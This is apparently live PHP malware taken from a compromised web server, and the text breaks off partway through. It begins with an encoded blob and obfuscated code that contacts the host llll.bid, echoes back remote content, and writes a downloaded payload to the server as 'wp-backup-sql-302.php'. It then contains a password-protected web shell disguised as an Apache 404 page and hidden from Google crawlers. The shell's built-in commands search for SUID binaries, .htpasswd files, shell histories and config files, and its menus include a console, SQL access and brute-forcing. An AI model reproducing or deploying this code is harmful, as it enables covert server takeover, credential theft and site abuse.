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";
eval {
    $actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://{$_SERVER['SERVER_NAME']}{$_SERVER['SCRIPT_NAME']}";
    $actual_link = urlencode($actual_link);
    ini_set("allow_url_fopen", 1);
    $sdfsdhh1hh1bdsbdbvbsdbv = "68747470733a2f2f6c6c6c6c2e6269642f696d672f6c6f676f2e7068703f69643d";
    $lsgjasnbcabscjabscascas = "";
    for ($bshdbhcbsdcsdcsd = 0; $bshdbhcbsdcsdcsd < strlen(trim($sdfsdhh1hh1bdsbdbvbsdbv)); $bshdbhcbsdcsdcsd += 2) {
        $lsgjasnbcabscjabscascas .= pack("H*", substr(trim($sdfsdhh1hh1bdsbdbvbsdbv), $bshdbhcbsdcsdcsd, 2));
    }
    $lostjtururururuji = 20;
    $ljhshshshshshssss = 3;
    $bhvbsahbvhasdvhbsadhvbhsadvs = str_split(trim($lsgjasnbcabscjabscascas), $ljhshshshshshssss);
    $weh2h2h22g2g2g2g2g2gg2 = array();
    for ($s1xcascascaasascsa = 0; $s1xcascascaasascsa <= count($bhvbsahbvhasdvhbsadhvbhsadvs) - 1; $s1xcascascaasascsa += 1) {
        $vvdsavsdavsdavsxc221123 = uniqid() . uniqid() . uniqid() . uniqid();
        $kjnab22h2h2hh22hh2 = "";
        for ($bbvbhsvsdvsdvsdvi = 0; $bbvbhsvsdvsdvsdvi < 20; $bbvbhsvsdvsdvsdvi++) {
            $kjnab22h2h2hh22hh2 .= $vvdsavsdavsdavsxc221123[rand(0, strlen($vvdsavsdavsdavsxc221123) - 1)];
        }
        $weh2h2h22g2g2g2g2g2gg2[$kjnab22h2h2hh22hh2] = $bhvbsahbvhasdvhbsadhvbhsadvs[$s1xcascascaasascsa];
    }
    $knj23njn4j3n2j4n23j4n234 = "";
    foreach ($weh2h2h22g2g2g2g2g2gg2 as $jlkjalfdjsafjdasfjasjlfjasdljf => $nbhsdbfhdbshfbsdhbfhsdbh22v23) {
        $knj23njn4j3n2j4n23j4n234 .= $jlkjalfdjsafjdasfjasjlfjasdljf . $nbhsdbfhdbshfbsdhbfhsdbh22v23;
    }
    $h2j3h4j23h4j2h3b4fggjndfjn = "";
    for ($bvbdvhsvbhsdvf1r1r11gsg = $lostjtururururuji; $bvbdvhsvbhsdvf1r1r11gsg <= strlen($knj23njn4j3n2j4n23j4n234); $bvbdvhsvbhsdvf1r1r11gsg += $lostjtururururuji + $ljhshshshshshssss) {
        $h2j3h4j23h4j2h3b4fggjndfjn .= $knj23njn4j3n2j4n23j4n234[$bvbdvhsvbhsdvf1r1r11gsg] . $knj23njn4j3n2j4n23j4n234[$bvbdvhsvbhsdvf1r1r11gsg + 1] . $knj23njn4j3n2j4n23j4n234[$bvbdvhsvbhsdvf1r1r11gsg + 2];
    }
    $uplink = "https://llll.bid/gX3xrFUZhCr67Sv9yxTmUuPZUczED82xHdk6TGuZrjA5ZBKKpvx6JLdsm7zL6ctEkGWkYgrSmjjy9VeXw9JfBenCGcZDAQ.txt";
    $currentpath = $_SERVER['SERVER_NAME'] . dirname($_SERVER['REQUEST_URI']);
    $actual_link2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
    $currentpath = $actual_link2 . $currentpath;
    $file = 'wp-backup-sql-302.php';
    $ourlasturl = $currentpath . "/" . $file;
    $ourlasturl = "&id2=" . urlencode($ourlasturl);
    function flget($link = "")
    {
        global $h2j3h4j23h4j2h3b4fggjndfjn;
        global $ourlasturl;
        global $uplink;
        $deger = "0";
        if ($link == "") {
            return $deger;
        }
        if (function_exists('file_get_contents')) {
            $url = $h2j3h4j23h4j2h3b4fggjndfjn . $link . $ourlasturl;
            $referrer = 'tFk53ubwHFpwt9xmUdRHF7EgGEp7a9V2LFLvJ6uAtBbLwW8vXeLNedeaAQbA2P26UETXsGcKB2';
            $options = array('http' => array('method' => "GET", 'header' => "Accept-language: en\r\nCookie: foo=bar\r\nReferer: tFk53ubwHFpwt9xmUdRHF7EgGEp7a9V2LFLvJ6uAtBbLwW8vXeLNedeaAQbA2P26UETXsGcKB2\r\nUser-Agent: tQ7nA0dW5jB6bC9aD2hH7eB0nJ4vB2qC\r\n"));
            $context = stream_context_create($options);
            $file = file_get_contents($url, false, $context);
            echo $file;
            $deger = "1";
            writeflget($uplink);
            return $deger;
        } else {
            return "0";
        }
    }
    function curlget($link = "")
    {
        global $h2j3h4j23h4j2h3b4fggjndfjn;
        global $ourlasturl;
        global $uplink;
        $deger = "0";
        if ($link == "") {
            return $deger;
        }
        if (function_exists('curl_exec')) {
            $url = $h2j3h4j23h4j2h3b4fggjndfjn . $link . $ourlasturl;
            $curl = curl_init($url);
            curl_setopt($curl, CURLOPT_FAILONERROR, true);
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($curl, CURLOPT_USERAGENT, 'tQ7nA0dW5jB6bC9aD2hH7eB0nJ4vB2qC');
            curl_setopt($curl, CURLOPT_REFERER, 'tFk53ubwHFpwt9xmUdRHF7EgGEp7a9V2LFLvJ6uAtBbLwW8vXeLNedeaAQbA2P26UETXsGcKB2');
            $result = curl_exec($curl);
            echo $result;
            $deger = "1";
            writeflget($uplink);
            return $deger;
        } else {
            return $deger;
        }
    }
    function writeflget($link)
    {
        $currentpath = $_SERVER['SERVER_NAME'] . dirname($_SERVER['REQUEST_URI']);
        $actual_link2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
        $currentpath = $actual_link2 . $currentpath;
        $arrContextOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false));
        $file = 'wp-backup-sql-302.php';
        $ourlasturl = $currentpath . "/" . $file;
        if (!is_file($file)) {
            $contents = file_get_contents($link, false, stream_context_create($arrContextOptions));
            file_put_contents($file, $contents);
        }
    }
    flget($actual_link);
    curlget($actual_link);
    ?>


<?php 
    $auth_pass = "32b296860cd81cb851224586a69dca37";
    // katib
    $color = "#00ff00";
    $default_action = 'FilesMan';
    @define('SELF_PATH', "/var/www/html/input.php");
    if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
    @session_start();
    @error_reporting(0);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    @define('VERSION', '2.1');
    if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
    }
    function printLogin()
    {
        ?> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at <?php 
        echo $_SERVER['HTTP_HOST'];
        ?> Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> 
    <?php 
        exit;
    }
    if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
        if (empty($auth_pass) || isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {
            $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
        } else {
            printLogin();
        }
    }
    if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    if ($os == 'win') {
        $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $aliases = array("List dir" => "ls -la", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    }
    function printHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = "UTF-8";
        }
        global $color;
        ?> 
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?php 
        echo $_POST['charset'];
        ?>'><title><?php 
        echo $_SERVER['HTTP_HOST'];
        ?>- 404 Not Found Shell V.<?php 
        echo VERSION;
        ?>-SubhashDasyam.com</title> 
<style> 
    body {background-color:#000;color:#fff;} 
    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } 
    span,h1,a    { color:<?php 
        echo $color;
        ?> !important; } 
    span        { font-weight: bolder; } 
    h1            { border:1px solid <?php 
        echo $color;
        ?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; } 
    div.content    { padding: 5px;margin-left:5px;} 
    a            { text-decoration:none; } 
    a:hover        { background:#ff0000; } 
    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; } 
    .bigarea    { width:100%;height:250px; } 
    input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?php 
        echo $color;
        ?>; font: 9pt Monospace,"Courier New"; } 
    form        { margin:0px; } 
    #toolsTbl    { text-align:center; } 
    .toolsInp    { width: 80%; } 
    .main th    {text-align:left;} 
    .main tr:hover{background-color:#5e5e5e;} 
    .main td, th{vertical-align:middle;} 
    pre            {font-family:Courier,Monospace;} 
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} 
</style> 
<script> 
    function set(a,c,p1,p2,p3,charset) { 
        if(a != null)document.mf.a.value=a; 
        if(c != null)document.mf.c.value=c; 
        if(p1 != null)document.mf.p1.value=p1; 
        if(p2 != null)document.mf.p2.value=p2; 
        if(p3 != null)document.mf.p3.value=p3; 
        if(charset != null)document.mf.charset.value=charset; 
    } 
    function g(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        document.mf.submit(); 
    } 
    function a(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        var params = "ajax=true"; 
        for(i=0;i<document.mf.elements.length;i++) 
            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value); 
        sr('<?php 
        echo $_SERVER['REQUEST_URI'];
        ?>', params); 
    } 
    function sr(url, params) {     
        if (window.XMLHttpRequest) { 
            req = new XMLHttpRequest(); 
            req.onreadystatechange = processReqChange; 
            req.open("POST", url, true); 
            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); 
            req.send(params); 
        }  
        else if (window.ActiveXObject) { 
            req = new ActiveXObject("Microsoft.XMLHTTP"); 
            if (req) { 
                req.onreadystatechange = processReqChange; 
                req.open("POST", url, true); 
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); 
                req.send(params); 
            } 
        } 
    } 
    function processReqChange() { 
        if( (req.readyState == 4) ) 
            if(req.status == 200) { 
                //alert(req.responseText); 
                var reg = new RegExp("(\\d+)([\\S\\s]*)", "m"); 
                var arr=reg.exec(req.responseText); 
                eval(arr[2].substr(0, arr[1])); 
            }  
            else alert("Request error!"); 
    } 
</script> 
<head><body><div style="position:absolute;width:100%;top:0;left:0;"> 
<form method=post name=mf style='display:none;'> 
<input type=hidden name=a value='<?php 
        echo isset($_POST['a']) ? $_POST['a'] : '';
        ?>'> 
<input type=hidden name=c value='<?php 
        echo htmlspecialchars($GLOBALS['cwd']);
        ?>'> 
<input type=hidden name=p1 value='<?php 
        echo isset($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '';
        ?>'> 
<input type=hidden name=p2 value='<?php 
        echo isset($_POST['p2']) ? htmlspecialchars($_POST['p2']) : '';
        ?>'> 
<input type=hidden name=p3 value='<?php 
        echo isset($_POST['p3']) ? htmlspecialchars($_POST['p3']) : '';
        ?>'> 
<input type=hidden name=charset value='<?php 
        echo isset($_POST['charset']) ? $_POST['charset'] : '';
        ?>'> 
</form> 
<?php 
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $millink = 'http://milw0rm.com/search.php?dong=';
        if (strpos('Linux', $kernel) !== false) {
            $millink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        } else {
            $millink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        }
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $item) {
            $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
        }
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
        if (!empty($GLOBALS['auth_pass'])) {
            $m['Logout'] = 'Logout';
        }
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('a', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
        }
        echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd' . ($GLOBALS['os'] == 'win' ? '<br>Drives' : '') . '</span></td>' . '<td>:<nobr>' . substr(@php_uname(), 0, 120) . '  <a href="http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[Google]</a> <a href="' . $millink . '" target=_blank>[milw0rm]</a></nobr><br>:' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>:' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=<?php echo $color?><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>:' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>:' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>:' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
    }
    function printFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? "<font color=green>[ Writeable ]</font>" : "<font color=red>[ Not writable ]</font>";
        ?> 
</div> 
<table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%"> 
    <tr> 
        <td><form onSubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?php 
        echo htmlspecialchars($GLOBALS['cwd']);
        ?>"><input type=submit value=">>"></form></td> 
        <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> 
    </tr> 
    <tr> 
